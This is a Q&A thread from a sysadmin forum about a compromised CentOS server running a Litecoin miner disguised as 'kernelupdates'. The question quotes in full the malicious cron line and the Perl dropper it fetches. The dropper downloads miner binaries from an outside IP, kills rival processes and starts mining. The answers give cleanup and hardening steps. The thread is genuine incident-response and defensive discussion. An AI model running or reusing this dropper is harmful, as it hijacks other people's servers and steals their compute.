5

I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below.

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries.

But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs.

  1. Does this process belong to a mining process?
  2. How can we stop cronjob modification and clean the source of this process?

Cron entry (apache user)

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";
8

This process is a Litecoin(an alternative cryptocurrency) miner process. Someone with access to your server is using your server to generate Litecoins( = make money). The kernelupdates name is very likely just to confuse you.

Before you remove anything I would recommend to make a backup of everything you have and find out, how this was put into your server. If you remove it but don't remove the security issue it is very likely to come back. I would bet on Wordpress or some outdated plugin beeing the security hole.

After finding and of course fixing the security issue, try to look your cron logs in the syslog. This might give you an indication how the cronjob is inserted.

  • 1
    You are right, While checking apache access logs I found that it has been injected through wordpress plugins – Vaibhav Panmand May 26 '14 at 10:51
3

I was just compromised by this on my server. I can see in my logs that I was being hit on an old wordpress site, and then seconds later they had the cron jobs running over and over. Interesting that I've had this site for quite some time now, and it only happened when I changed over to nginx and php-fpm, is your setup the same?

I'm hoping that all that happened is that they were able to install these cron jobs through a vulnerability in php/wordpress basically they:

  • Got shell access and execute crontab -e to get the cron jobs firing
  • The cron job puts the script in /tmp/abc.txt.1 and executes it
  • The script downloads the litecoin miner in /etc/.ice-unix renames it kernelupdates and starts it
  • They ensure that the miner stays put from there by firing that cron job over and over

Also note that the litecoin username is slightly variable between spdrman.2 and spdrman.10.

One thing, please check your /etc/passwd for your apache user. I had my shell stupidly set to /bin/bash this is probably safer to be set as /bin/false

Also if possible ensure that your apache user cannot execute commands like crontab, wget, or curl to stop this from happening again. Those commands seem to be at the core of what they did when they got in.

As a precaution I'm changing my ssh port again, I've double checked and I've set PermitRootLogin no in sshd settings so I'm pretty sure they couldn't have gotten in directly as root

3

I also got this thing, apparently the password of one user was leaked somehow. What I did so far:

  1. Killed the process with -9 (it was the only one of that user)
  2. Cleared the crontab of that user with sudo crontab -e -u <user>
  3. Disabled the login of that user with sudo usermod -s /usr/sbin/nologin <user> (try /sbin/nologin or /bin/false if that's not available)
  4. Changed the password of the user and removed ~/.ssh/authorized_keys
  5. The user was able to write to the docroot of a PHP enabled website. So I disabled that website. If they placed a bad script somewhere here, they can start processes again.
  6. Check if the process was started again (it was, repeat everything so far)
  7. Installed chkrootkit & rkhunter and ran it (just false positives)

Next thing to do is to rebuild the entire server. It's just a VM and I wanted to automate the configuration anyway using Ansible, but it's still no fun to have to do it in a hurry. But it's the only way to be sure nothing is tampered.

3

Happened to one of my clients. One simple fix while you find the security hole is to prevent downloading from updates.dyndn-web.com as well as disabling the crontab for impacted user. (crontab + bin/false solutions mentioned earlier)

echo "www-data" >> /etc/cron.deny 

This will disable the crontab for the user www-data

The following will disable downloading scripts from updates.dyndn-web.com

127.0.0.1       updates.dyndn-web.com   #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage

Note: the used script is killing "named" system("killall -9 named");

I just tweeted to @wemineltc to ask them to ban the user spdrman and transfer his/her LTC to charity, I invite you to retweet.

https://twitter.com/jflaflamme/status/473307793240248320

2

According to the perl script presented by you, your server has been compromised. I would strongly recommend to install chrootkit (yum install chrootkit) and have a check of the filesystem. I also recommend disabling that cronjob, so the rootkit is not updated.

0

Same problen on opensuse server five days ago; the script used is exactly what I found on my server ( same set of usernames and password),same cron,at and ips. Check also for a stuck /usr/bin/host process with ps; the process loads a dynamic library with LD_PRELOAD,in my case libworker.so (deleted every time /usr/bin/host is called from the at job ) , which try to connect to update-dyndn-web.com doing a POST to .../xenta.php. It works with a modified shellcode ( the dumper is written in php and is suitable for use with wordpress ) used to build the dynamic library.

I hope this can help.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.